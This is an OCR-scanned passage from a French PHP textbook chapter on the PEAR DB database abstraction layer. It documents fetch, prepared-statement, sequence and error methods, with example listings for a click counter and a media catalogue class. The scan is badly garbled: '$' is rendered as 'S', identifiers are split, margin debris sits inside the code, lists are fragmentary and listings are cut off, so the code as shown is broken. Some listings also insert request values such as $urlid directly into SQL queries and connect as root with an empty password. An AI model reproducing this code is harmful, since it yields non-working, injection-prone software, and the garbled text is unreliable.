ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait dejd. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable. 

Listing 10.101 : parametres bd inc.php 

<?php 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 

// $typeServeur peut prendre 1'une des valeurs suivante 

// "mysql" - MySQL 

// "pgsql" - PostgreSQL 

// "oci8" - Oracle 8i 

// "MSAccess" - MS Access 

// "IBMDB2" - IBM DB2 

// •■• 

$typeServeur = "mysql"; 
$serveur = "localhost"; 
$base = "mabase"; 

$utilisateur = "root"; 
$motDePasse = ""; 

?> 

Notre script principal sera done : 

Listing 10.102 : insertOLphp 

<?php 

// Parametres du script 
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requi re_once ( "parametres_bd_i nc . php" ) ; 
Stable = "tableexemple"; 

// Inclusion du script contenant les fonctions 
requi re_once ( " i nsert01_bd_i nc . php" ) ; 

// Connexion a la base de donnees 
jg go switch ($typeServeur) { 

>| case "MSAccess" : 

.2 g $typeServeurPear = "odbc"; 

■= break; 
|= ■§ default : 



= CO 
-j CD 
— ' GO 



?> 



$typeServeurPear = $typeServeur; 

} 

$dsn = "$typeServeurPear://"; 

if (!empty($util isateur)) $dsn .= $uti 1 i sateur; 

if (! empty ($motDePasse) ) $dsn .= " :$motDePasse" ; 

$dsn .= "@tcp($serveur)"; 

if (! empty ($base)) $dsn .= "/$base"; 

$bd = DB: :connect($dsn, TRUE); 
if (DB: : i sError ($bd) ) { 

echo $dsn." " .$bd->message; 

return FALSE; 

} 

if ($bd === FALSE) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 



// Appel de la fonction principale 
if (EX_initialiseBD($bd, $table)) { 

echo "Voila, une nouvelle table avec quelques donnees, ". 

"vous pouvez le verifier avec votre client de base ". 

" de donnees ou via les scripts suivants."; 

} else { 

echo "La creation ou 1 'alimentation de la table a echouee.' 

} 

// Pas de deconnexion dans le cas d'une connexion persistante 
// $db->di sconnect () ; 



et necessitera : 



Listing 10.103 : insert01_bd_inc.php 

<?php 

require once("DB.php") ; 
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* Fonction chargee de creer et d'alimenter une table 

* 

* @param $bd object Base de donnees 

* @param Stable string Nom de la table 

** J 

function EX_initialiseBD($bd, Stable) 

{ 

// Supprime la precedente table 
Srequete = "DROP TABLE Stable"; 
@$bd->query (Srequete) ; 

// Cree la table 

Srequete = "CREATE TABLE Stable (filmld INTEGER, ". 

"film VARCHAR(64))"; 

$sts = $bd->query (Srequete) ; 

if (DB: : i sError ($sts) ) return FALSE; 

// Ajoute quelques donnees 

Srequete = "INSERT INTO Stable VALUES (1, 'Forrest Gump')"; 

$sts = $bd->query (Srequete) ; 

if (DB: : i sError ($sts) ) return FALSE; 

Srequete = "INSERT INTO Stable VALUES (2, 'Matrix')"; 

$sts = $bd->query (Srequete) ; 

if (DB: :isError($sts)) return FALSE; 

Srequete = "INSERT INTO Stable VALUES (3, 'La cite de la peur')"; 

$sts = $bd->query (Srequete) ; 

if (DB: : i sError ($sts) ) return FALSE; 

return TRUE; 

} 

?> 

Commit/rollback 

Par defaut, les requetes sont automatiquement validees (mode auto commit). II est toutefois 
possible, pour certaines bases de donnees, de modifier ce comportement en utilisant la 

methode DB->autoCommit ( ) . 



DB->autoCommit() 

Active ou desactive le mode de validation automatique des transactions (auto commit). 
Syntaxe mixed autoCommi t ( [bool ean $mode]) 

$mode TRUE pour activer le mode auto commit, FALSE (valeur par defaut) 

sinon. 
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retour DB_OK si la base de donnees supporte les transactions, ou Y6b]t\.DB_Error 

sinon. 

Si vous avez opte pour un mode de validation non automatique, vous pourrez valider ou 
annuler vos transactions avec les fonctions suivantes : 



| DB->commit() 

Valide la transaction en cours. 

CO 
03 
CO 

j§ Syntaxe mixed commit (void) 

retour DB_OK si la base de donnees supporte les transactions, ou r 'objet DBJLnor 

sinon. 



DB->rollback() 

Annule la transaction en cours. 

Syntaxe mixed rol 1 back(void) 

retour DB_OK si la base de donnees supporte les transactions, ou Y 'objet DB_Error 

sinon. 

Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 
convient de recuperer l'objet DB_Result et de l'utiliser pour lire, en boucle, ligne apres ligne, 
chaque enregistrement. II existe pour cela deux methodes au comportement similaire, mais 
avec des syntaxes differentes. 

Nous verrons ensuite qu'il est egalement possible d'executer des requetes et de recuperer les 
enregistrements sans meme passer par un objet DB_Result. 

Lecture enregistrement par enregistrement 



DB_Result->fetchRow() 

Retourne l'enregistrement courant et deplace le curseur vers l'enregistrement suivant. 

Syntaxe mixed fetchRow( [i nt $mode [,int $enregi strementldx]] ) 

$mode Determine le format de la reponse, cela peut prendre l'une des valeurs 

suivantes : 
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DB_FETCHMODE_ASSOC pour restituer l'enregistrement sous la forme 
d'un tableau associatif ou les cles sont les noms de champs. 

DB_FETCHMODE_OB JECT pour restituer l'enregistrement sous la forme 
d'un objet. 

DB_FETCHMODE_ORDERED pour restituer l'enregistrement sous la forme 
d'un tableau indexe (commengant a 0) et contenant les valeurs des champs 
(dans l'ordre de la requete). 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

$enregi strement Idx Index de l'enregistrement a restituer. 

retour Selon le mode choisi, en cas de succes : un tableau indexe, associatif, un 

objet, ou NULL s'il n'y a plus d'enregistrement a lire. 

La fonction suivante listera done le contenu de la table : 

Listing 10.104 : select_eea_bd_inc.php 

<?php 

require_once("DB.php") ; 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $bd object Base de donnees 

* @param Stable string Norn de la table 

** I 

function EX_listeContenu($bd, Stable) 

{ 

// Requete 

Srequete = "SELECT * FROM Stable"; 

Sresultat = $bd->query (Srequete) ; 

if (DB: :isError($resultat)) return FALSE; 

// Boucle de lecture (et d'affichage) des enregi strements 
while (Senreg = Sresul tat->fetchRow(DB_FETCHMODE_ASSOC) ) { 
echo "Fi lmld=" .Senreg ["fi lmld"] . " ". 

"Film =" .$enreg["film"] ."<br />"; 

} 

return TRUE; 

} 



L' autre methode similaire est DB_Result->fetchinto. 
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DB_Result->fetchInto () 

Retourne l'enregistrement courant et deplace le curseur vers l'enregistrement suivant. 

Syntaxe int fetchInto(array &$enregi strement [, int $mode [, int 

$enregi strementldx]] ) 

$enregi strement Variable dans laquelle copier l'enregistrement. 

$mode Determine le format de la reponse, cela peut prendre l'une des valeurs 

suivantes : 

DB_FETCHMODE_ASSOC pour restituer l'enregistrement sous la forme 
d'un tableau associatif ou les cles sont les noms de champs. 

DB_FETCHMODE_OBJECT pour restituer l'enregistrement sous la forme 
d'un objet. 

DB_FETCHMODE_ORDERED pour restituer l'enregistrement sous la forme 
d'un tableau indexe (commengant a 0) et contenant les valeurs des champs 
(dans l'ordre de la requete). 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

$enregi strementldx Index de l'enregistrement a restituer. 

retour La constante DB_OK (1) en cas de succes, FALSE sinon. 

Sans objet DB_Result 

L'objet DB de la bibliotheque pear propose une serie de methodes permettant d'acceder 
directement aux resultats d'une requete, et repondant aux cas d'utilisation les plus frequents. 



DB->getOne() 



Retourne le premier champ du premier enregistrement retourne par une requete (ex. : du type 

SELECT champ FROM table WHERE id=valeur). 

Syntaxe string getOne (mixed $requete [, array $parametres] ) 

$requete Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

$parametres Parametres de la requete preparee. 

retour La valeur du champ, ou un objet DBJLrror en cas d'erreur. 
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Voir I'exemple d'utilisation dans le paragraphe "Compter les enregistrements". 



RENVOI 



DB->getRow() 



Retourne le premier enregistrement retourne par une requete (ex. : du type select * from 

table WHERE id=valeur). 



Syntaxe 

$requete 

$parametres 

$mode 



retour 



mixed getRow(mixed $requete [, array $parametres [, int 
$mode]]) 

Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

Parametres de la requete preparee (NULL si vous souhaitez simplement 
preciser le mode). 

Determine le format de la reponse, cela peut prendre l'une des valeurs 
suivantes : 

DB_FETCHMODE_ASSOC pour restituer l'enregistrement sous la forme 
d'un tableau associatif ou les cles sont les noms de champs. 

DB_FETCHMODE_OB JECT pour restituer l'enregistrement sous la forme 
d'un objet. 

DB_FETCHMODE_ORDERED pour restituer l'enregistrement sous la forme 
d'un tableau indexe (commengant a 0) et contenant les valeurs des champs 
(dans l'ordre de la requete). 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

Selon le mode choisi, en cas de succes : un tableau indexe, associatif, un 
objet, ou NULL si la requete ne retourne aucun enregistrement ; voire un 
objet DBJLrror en cas d'erreur. 



v> 

CD 
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CD- 
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DB->getCol() 



Retourne l'ensemble des valeurs d'un champ des enregistrements retournes par une requete. 

Syntaxe mixed getRow (mixed $requete [, string $champ [, array 

$parametres]] ) 

$requete Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

$ c h amp Index ou nom du champ . 

$parametres Parametres de la requete preparee. 
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retour 



Tableau indexe contenant les valeurs pour chaque enregistrement 
retourne, ou un objet DBJLrror en cas d'erreur. 



DB->getAssoc() 



Retourne l'ensemble des enregistrements retournes par une requete sous la forme d'un tableau 
associatif base sur la valeur du premier champ. 

Syntaxe array get Assoc (mixed $requete [, boolean $modeTableau [, array 

$parametres ]] ) 

$requete Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

$modeTabl eau TRUE pour forcer l'utilisation d'un tableau, meme dans les cas ou chaque 

cle du tableau n'est associee qu'a une seule valeur, FALSE (valeur par 
defaut) sinon. 

$parametres Parametres de la requete preparee. 

retour Dans le cas d'enregistrements avec un seul champ, retourne la constante 

DB_ERROR_TRUNCATED. 

Dans le cas d'enregistrements avec deux champs et $modeTableau a 

FALSE, retourne un tableau associatif ayant pour cles les valeurs du 

premier champ et pour valeurs celles du second champ. 

Dans le cas d'enregistrements avec deux champs et $modeTableau a 

TRUE, retourne un tableau associatif ayant pour cles les valeurs du premier 

champ et pour valeur un tableau contenant les valeurs du second champ 

correspondant. 

Dans le cas d'enregistrements avec plus de trois champs, retourne un 
tableau associatif ayant pour cles les valeurs du premier champ et pour 
valeur un tableau contenant les valeurs des autres champs correspondants. 
En cas d'erreur, retourne un objet DBJLrror. 

A noter : s'il y a des doublons dans les valeurs du premier champ, seuls les 
derniers enregistrements associes a ces valeurs doublons sont conserves. 



DB->getAll() 



Retourne l'ensemble des enregistrements retournes par une requete sous la forme d'un tableau 
indexe. 



Syntaxe 

$requete 
$parametres 



array getAll (mixed $requete [, array $parametres [, int 
$mode]]) 

Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

Parametres de la requete preparee. 
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$mode Determine le format de la reponse ; cela peut prendre l'une des valeurs 

suivantes : 

DB_FETCHMODE_AS SOC pour restituer les enregistrements sous la forme 
d'un tableau indexe contenant un tableau associatif ou les cles sont les 
noms de champs. 

DB_FETCHMODE_ORDERED pour restituer les enregistrements sous la 
forme d'un tableau indexe contenant un tableau indexe associe aux valeurs 
des champs (dans l'ordre de la requete). 

DB_FETCHMODE_FLlPPED combine par OU logique avec les modes 
ci-dessus permet d'intervertir les roles des champs et enregistrements dans 
le tableau. (Avec DB_FETCHMODE_AS SOC cela donne un tableau 
associatif, ou les cles sont les noms des champs, contenant un tableau 
indexe des valeurs pour chaque enregistrement. Avec 
DB_FETCHMODE_ORDERED, cela donne un tableau indexe (ou chaque 
entree represente un champ, dans l'ordre de la requete) contenant les 
valeurs pour chaque enregistrement. 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

retour Un tableau dont la structure depend du mode choisi, ou un ob]ti DB_Error 

en cas d'erreur. 

Nombre d' enregistrements 

Nombre d 'enregistrements retournes 

II existe trois facpns de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 

Listing 10.105 : count_bd_inc.php 

<?php 

require_once("DB.php") ; 

I** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $bd object Base de donnees 

* @param Stable string Norn de la tabme 

** J 

function EX_compte($bd, Stable) 

{ 

// Requete 

$requete = "SELECT C0UNT(*) FROM Stable"; 
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$resultat = $bd->getOne($requete) ; 

if (DB: : i s Error ($resul tat) ) return FALSE; 

echo "II y a $resultat enregi strements dans la table. <br />"; 
return TRUE; 

} 

?> 

II est egalement envisageable de les compter au fur et a mesure de leur lecture (s'ils sont lus, par 
exemple, avec la methode getRow ( ) ). 

Mais, surtout, ce que vous attendez tous : si vous souhaitez connaitre le nombre 
d'enregistrements avant de les lire, vous pouvez faire appel a la methode 

DB_Result->numRows ( ) . 



DB_Result->numRows () 

Indique le nombre d'enregistrements retournes par une requete. 
Syntaxe int numRows (voi d) 

retour Nombre d'enregistrements retournes, ou un objet DB_Eiror en cas 

d'erreur. 

Listing 10.106 : countnumrowsbdjnc.php 

<?php 

require_once("DB.php") ; 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* 

* @param $bd object Base de donnees 

* @param Stable string Norn de la tabme 

function EX_compte($bd, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$resultat = $bd->query ($requete) ; 

if (DB: : i s Error ($resul tat) ) return FALSE; 

echo "II y a ".$resultat->numRows() ." enregi strements" . 

" dans la table. <br />"; 
return TRUE; 

} 

?> 
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Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d 'enregistrements modifies 

Pour determiner le nombre d'enregistrements modifies, vous pouvez appeler la methode 

DB->af fectedRows ( ) . 



DB->affectedRows() 

Indique le nombre d'enregistrements modifies lors de l'execution de la requete (de type 

INSERT, UPDATE). 

Syntaxe int af fectedRows (void) 

retour Nombre d'enregistrements modifies ou un oh]ti DB_Errortn cas d'erreur. 

Mise a profit des requetes preparees 

Certains serveurs de bases de donnees permettent l'analyse, la compilation et le stockage des 
requetes avant utilisation. Ceci permet d'executer une serie de requetes similaires sans avoir a 
renouveler a chaque fois les operations d'analyse et de compilation (mais seulement en 
changeant certaines valeurs). Meme si cela ne s'applique que pour certains serveurs, les 
methodes qui suivent restent applicables quelle que soit la base de donnees (couche 
d'abstraction oblige). Pour les bases de donnees ne supportant pas les requetes preparees, cela 
sera tout simplement emule. 

Pour cela, il suffit de preparer une requete dans laquelle les elements variables sont remplaces 
par des points d'interrogation (ex. : insert into matabie (film) values (?)). II suffira 
de preciser ces valeurs au moment de son execution. 

La preparation de la requete se fait via la fonction DB->prepare ( ) . 



DB->prepare() 

Prepare une requete SQL. 



Syntaxe resource prepare (string $requete) 

$requete Requete SQL a preparer. 

retour Identifiant de la requete preparee (ce n'est pas une veritable ressource, 

mais plutot un index si la base de donnees ne supporte pas les requetes 



preparees). 

L'execution proprement dite est assuree par DB->execute ( ) . 
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DB->execute() 

Execute une requete preparee. 

Syntaxe object execute(resource $idRequetePreparee, array $parametres) 

$i dRequetePreparee Identifiant de la requete preparee. 

$parametres Tableau indexe contenant les valeurs des differents parametres de la 

requete preparee. 

retour La constante DB_OK en cas de succes d'une requete ne retournant pas de 

resultat, un objet DB_Result en cas de succes d'une requete retournant 
un resultat, un objet DBJLrror sinon. 

Mais il est egalement possible d'enchainer automatiquement plusieurs appels. 



DB->executeMultiple () 

Execute une requete preparee pour l'ensemble des donnees d'un tableau. 

Syntaxe object executeMultiple(resource $idRequetePreparee, array 

$parametres) 

$i dRequetePreparee Identifiant de la requete preparee. 

$parametres Tableau indexe contenant une entree par requete a executer. Chaque 

entree contient un tableau contenant les valeurs des differents parametres 
de la requete preparee. 

retour La constante DB_OK en cas de succes d'une requete ne retournant pas de 

resultat, un objet DB_Result en cas de succes d'une requete retournant 
un resultat, un objet DB _Error sinon. 

Un exemple d'utilisation est donne plus loin avec le script compteurclic. 

Champs auto-incrementes 

Une des difficultes rencontrees pour creer des scripts utilisables avec differents serveurs de 
bases de donnees concerne les champs auto-incrementes. 

La solution proposee par la bibliotheque pear consiste a creer une sequence. 



DB->createSequence () 

Cree une sequence. 



Syntaxe 



mixed createSequence(string $nom) 



Les couches d'abstraction 



$nom Nom de la sequence. 

retour DB_OK en cas de succes, un objet DB_Error sinon. 

Concretement, cela se traduit par la creation d'une sequence pour les bases de donnees 
supportant ce type d'objet ; pour les autres, une table simulant une sequence est creee (ce qui 
est le cas pour MySQL. La table porte alors le nom indique accompagne du suffixe "_seq"). 

Malheureusement, ceci ne constitue qu'une solution de remplacement aux champs 
auto-incrementes. Des lors, plus rien n'est automatique, et vous devez, avant chaque insertion 
dans la table, recuperer la valeur suivante de la sequence. Cela s'effectue par un appel a la 
methode nextid ( ) . 

DB->nextId() 

Recupere la valeur suivante d'une sequence. 

Syntaxe int nextld(string $nom) 

$nom Nom de la sequence. 

retour Valeur suivante, ou un objet DBJLrror en cas d'echec. 

Vous pouvez egalement supprimer une sequence. 

DB->dropSequence () 

Supprime une sequence. 

Syntaxe mixed dropSequence(stri ng $nom) 

$nom Nom de la sequence a supprimer. 

retour DB_OK en cas de succes, un objet DB_Error sinon. 

Un exemple d'utilisation des sequences est donne plus loin avec le script compteurclic. 

Traitement des chaines de caracteres 

DB->escapeSimple () 

Prepare une chaine de caracteres pour une insertion dans une requete SQL (par 
"echappement" des caracteres particuliers comme les guillemets ou apostrophes). En d'autres 
termes il s'agit d'un equivalent des fonctions mysql_escape_string ( ) , 
sqlite_escape_string ( ) , etc. 
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retour 



Syntaxe 

$nom 



string escapeSimpl e(stri ng $nom) 
Chaine de caracteres a traiter. 

La chaine de caracteres prete a etre inseree dans une requete SQL. 



Gestion des erreurs 

Afin de determiner si la valeur retournee par une methode est un objet DB_Error ou non, 
l'objet DB vous propose la methode db : : isError ( ) . 



o c 
s o 

CO "O 




DB::isError() 



Teste si l'argument est un objet DB_Error ou non. 



retour 



Syntaxe 

$argument 



boolean isError (mixed $argument) 
Argument a tester. 

TRUE s'il s'agit d'un objet DB_Error, FALSE sinon. 



II est cependant possible de determiner plus precisement l'origine de l'erreur. II est notamment 
possible de lire le contenu de l'objet DBJLnor. 

DBJLnor est ainsi compose (entre autres) des attributs : 

■ level, niveau d'erreur parmi : 

— 1024 erreur ; 

— db_warning (-1 000) avertissement ; 

— db_warning__read_only (-1 001) avertissement. 

code, une des valeurs suivantes : 

— db_error (-1) erreur inconnue ; 

— db_error_syntax (-2) la requete comporte une erreur de syntaxe ; 

— db_error_CONSTraint (-3) violation de contrainte ; 

— db_error_not_found (-4) la base n'existe pas ; 

— db_error_already_exists (-5) une requete create a ete demandee pour une table, 
sequence, etc. existant deja ; 

— db_error_unsupported (-6) ; 

— db_error_mi smatch (-7) ; 

— db_error_invalid (-8) ; 

— db_error_not_capable (-9) ; 

— db_error_truncated (-10) la methode DB->getAssoc ( ) a ete appelee alors que le 
resultat ne comporte qu'un seul champ ; 

— DB_ERROR_INVALID_NUMBER (-11) ; 
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DB_ 


_ERROR_ 




DB_ 


_ERROR_ 




DB_ 


_ERROR_ 




DB_ 


_ERROR_ 




DB_ 


_ERROR_ 




DB. 


_ERROR_ 




DB_ 


_ERROR_ 




DB_ 
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DB_ 


_ERROR_ 




DB. 


_ERROR_ 




DB_ 


_ERROR_ 




DB_ 


_ERROR_ 




valide ; 




DB_ 


_ERROR_ 




DB_ 


_ERROR_ 




DB_ 


_ERROR_ 




DB_ 


_ERROR_ 



message, le message d'erreur ; 

nativecode, (si disponible) le code d'erreur retourne par la base de donnees +" 
"+ le message d'erreur (du moins avec MySQL). 



Exemples d'applications 

Nous ne reviendrons pas en detail sur les scripts suivants, car ils concernent des exemples 
presentes dans les chapitres traitant des differentes bases de donnees. Nous supposons que 
vous vous etes penche sur le cas d'au moins une de ces bases et que vous avez, par consequent, 
compris le mode de fonctionnement de ces scripts. 

Nous nous contenterons done de vous presenter les corrections a apporter pour l'utilisation de 
la bibliotheque Dbx. 



Compteur de clics 

Le script compteurclic_bd_inc.php deviendra ainsi : 

Listing 10.107 : compteurclic bd incphp 

<?php 

require_once("DB.php") ; 

// 

// Charge les parametres de connexion 

// a la base de donnees. 

// 

requi re_once ( "parametres_bd_i nc . php" ) ; 
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I** 

* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 

* @return object Objet DB (base de donnees) 
S " */ 



cd function CC_connexion() 

global $typeServeur, $serveur, $base, $uti 1 i sateur, $motDePasse; 



e = { 
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switch ($typeServeur) { 
case "IBMDB2" : 
case "MSAccess" : 

$typeServeurPear = "odbc"; 

break; 
default : 

$typeServeurPear = $typeServeur; 

} 

$dsn = "$typeServeurPear://"; 

if (!empty($utilisateur)) $dsn .= $uti 1 i sateur; 

if (! empty ($motDePasse) ) $dsn .= " :$motDePasse" ; 

$dsn .= "G>tcp($serveur)"; 

if (!empty($base)) $dsn .= "/$base"; 

$bd = DB: : connect ($dsn, TRUE); 
if (DB: : i sError($bd) ) { 

echo $bd->message; 

return FALSE; 

} 

return $bd; 



I** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

V 

function CC_deconnexion($bd) 

{ 

return TRUE; 

} 

I** 

* Fonction charge de creer et d'alimenter 

* la table "compteur de clics" 

** j 

function CC_i ni ti al i seBD($bd, Stable) 

{ 
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global $typeServeur; 

$default = "DEFAULT 0"; 

// Creation de la table 
$requete = "DROP TABLE Stable"; 
@$bd->query ($requete) ; 

$requete = "CREATE TABLE Stable (". 

"urlld INTEGER PRIMARY KEY,", 
"url VARCHAR(128) NOT NULL,", 
"nbclic INTEGER $default,". 
"UNIQUE(url))"; 

$sts = $bd->query ($requete) ; 
if (DB: : i sError ($sts) ) { 

echo $sts->message; 

return FALSE; 

} 

$bd->dropSequence($table) ; 

$sts = $bd->createSequence($tabl e) ; 
if (DB: : i sError ($sts) ) { 

echo $sts->message; 

return FALSE; 

} 

// Alimentation de la table 

$requete = "INSERT INTO Stable (urlld, url) VALUES (?,?)"; 
$reqPreparee = $bd->prepare($requete) ; 

$tabUrl = array ( 

array ($bd->nextld ($tabl e) , 'http://www.php.net'), 

array ($bd->nextld ($tabl e) , 'http://www.phpfacile.com'), 

array ($bd->nextld ($tabl e) , 'http://www.sqlfacile.com'), 

array ($bd->nextld ($tabl e) , 'http://www.xmlfacile.com'), 

array ($bd->nextld ($tabl e) , 'http://www.ootoogo.com') 
); 

$sts = $bd->executeMultiple($reqPreparee, $tabUrl); 
if (DB: : i sError ($sts) ) { 

echo $sts->message; 

return FALSE; 

} 

return TRUE; 



Fonction retournant les informations de liens 
sous forme d'un tableau associatif possedants 
les cles 
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* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

** j 

function CC_recupereLiens($bd, $table) 
{ 

// Nom du script charge du comptage et de la redirection 
$script = "compteurcl i c_redi recti on. php"; 

// Requete SELECT 



CU C/> 
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J | $requete = "SELECT * FROM Stable" 
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$resultat = $bd->query ($requete) ; 
if (DB: : i s Error ($resul tat) ) return FALSE; 

// Recuperation des enregi strements les uns apres les autres 
while (Senreg = $resul tat->fetchRow(DB_FETCHMODE_ASSOC) ) { 
$liens["lien"] [] = "<a href=\"$script?urlid=". 

$enreg["urlld"] ."\">". 
$enreg["url "]."</a>"; 
$liens["nbclic"] [] = $enreg ["nbcl i c"] ; 

} 

return $liens; 



I** 

* Fonction recuperant une url a partir de son identifiant 

* et incrementant le compteur de clics 

j 

function CC_recupereUrl ($bd, $urlid) 

{ 

global $table; 
// Recupere 1 1 url 

$requete = "SELECT * FROM $table WHERE url id=$url id" ; 
$enreg = $bd->getRow($requete, NULL, DB_FETCHMODE_ASSOC) ; 
if (DB: : i sError($enreg) ) return FALSE; 

if ($enreg) { 

$url = $enreg["url "] ; 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbcl i c=nbcl i c+1 WHERE url id=$url id" ; 
$bd->query ($requete) ; 
} else { 

$url = FALSE; 

} 

return $url ; 

} 



?> 
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Grace a l'utilisation des sequences pear, ce script pourrait s'adapter a differents types de bases 
de donnees, puisqu'il s'affranchit des disparites existantes dans la declaration des champs 
auto-incrementes. Mais, malheureusement, cela n'est pas suffisant, puisqu'il devrait etre 
egalement adapte, par exemple, pour MS Access, qui ne supporte pas l'instruction SQL 
"default". II devrait de meme etre adapte pour MS SQL Server, puisque nous avons constate 
un dysfonctionnement lie a l'utilisation des methodes prepare ( ) , execute ( ) ou 
executeMultiple ( ) . 

La couche d'abstraction pear ne permet done pas de pallier tous les problemes de 
compatibilite. 

Les scripts contenant les fonctions d'affichage, quant a eux, ne sont pas modifies (d'ou l'interet 
de les dissocier des fonctions de traitement). D'ailleurs, les scripts principaux ne le sont pas non 
plus, puisqu'ils n'accedent pas directement a la base de donnees, n'appellant que des fonctions 
de "haut niveau". 

SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions PEAR DB pour implementer l'interface 

Ressourceinterface e'est desormais chose faite: 

Listing 10.108 : RessourcePEARDBclass.php 

<?php 

i ncl ude_once( "Res source I nterface_cl ass . php" ) ; 

i ncl ude_once(di rname( FILE ) . "/. ./conf ig/peardb_cfg. php") ; 

include_once("DB.php") ; 

I** 

* RessourcePEARDB_class.php 

* Classe d'acces a une base de donnees via PEARDB 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourceinterface. 

* Compatibilite: PHP 5 

7 

class Ressource implements Ressourceinterface 

{ 

var $bd; 

public function connexion() 

{ 

global $pear_typeServeur; 

global $pear_serveur, $pear_utilisateur, $pear_motDePasse; 
global $pear_base; 

switch ($pear_typeServeur) { 
case " IBMDB2" : 
case "MSAccess" : 

$typeServeurPear = "odbc"; 

break; 
default : 

$typeServeurPear = $pear_typeServeur; 
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) 

$dsn = "$typeServeurPear://"; 

if ( lempty ($pear_uti 1 i sateur) ) $dsn .= $pear_uti 1 i sateur; 
if (! empty ($pear_motDePasse) ) $dsn .= " :$pear_motDePasse" 
$dsn .= "@tcp($pear_serveur) "; 
if (! empty ($pear_base) ) $dsn .= "/$pear_base" ; 



03 CO 

'I $bd = DB: : connect ($dsn, TRUE); 

= | if (DB: : i sError($bd) ) { 
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echo $dsn." " .$bd->message; 
return FALSE; 

} 

$this->bd = $bd; 
return TRUE; 



public function deconnexion() 
{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 



public function reset() 
{ 

$requete = "DROP TABLE types"; 

$resultat = $thi s->bd->query ($requete) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 



$requete = "CREATE TABLE types (". 

"id INTEGER PRIMARY KEY,", 
"type VARCHAR(255))"; 
$resultat = $thi s->bd->query ($requete) ; 
if (DB: : i s Error ($resul tat) ) { 

echo $resul tat->message; 
return FALSE; 

} 

$thi s->bd->dropSequence(" types") ; 

$resultat = $this->bd->createSequence("types") ; 
if (DB: : i s Error ($resul tat) ) { 

echo $resul tat->message; 

return FALSE; 

} 



$types = array("Album", "Film", "Livre", "Musique"); 
foreach ($types as $type) { 

$requete = "INSERT INTO types (id, type) VALUES (". 

$thi s->bd->nextld ("types" ) . " , 1 $type 1 ) " ; 
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$resultat = $thi s->bd->query ($requete) ; 
if (DB: : i sError($resul tat) ) { 

echo $resul tat->message; 

return FALSE; 

} 



$requete = "DROP TABLE articles"; 

$resultat = $thi s->bd->query ($requete) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE articles (". 

"id INTEGER PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) ) " ; 
$resultat = $thi s->bd->query ($requete) ; 
if (DB: :isError($resultat)) { 

echo $resul tat->message; 
return FALSE; 

} 

$thi s->bd->dropSequence("articl es") ; 

$resultat = $thi s->bd->createSequence("arti cl es") ; 
if (DB: : i s Error ($resul tat) ) { 

echo $resul tat->message; 

return FALSE; 

} 



public function addArticle($albumId, 

$titre, 
$typeld, 
$commentai re) 

{ 

$requeteDebut = "INSERT INTO articles (id, albumld, titre, typeld"; 
$requeteFin = ") VALUES (" . $thi s->bd->nextld("arti cles") . " , " . 

"$albumld,". 

.$this->bd->escapeSimple($titre) ." 1 ,". 

"$typeld"; 

if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFi n .= " , 111 . $ t h i s->bd->escapeSimpl e($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$resultat = $thi s->bd->query ($requete) ; 
if (DB: :isError($resultat)) { 

echo $resul tat->message; 
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return FALSE; 

} 

} 

public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 
jg v> $resultat = $thi s->bd->query ($requete) ; 

T3 OJ 
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aj if (DB: : i sError($resul tat) ) { 

echo $resulta1 
return FALSE; 



.2 = echo $resul tat->message; 
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) 

$enreg = $this->bd->getRow($idResultat) ; 
if (DB: : i sError($enreg) ) return NULL; 
$article = $this->enreg2Article($enreg) ; 
return $article; 

} 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

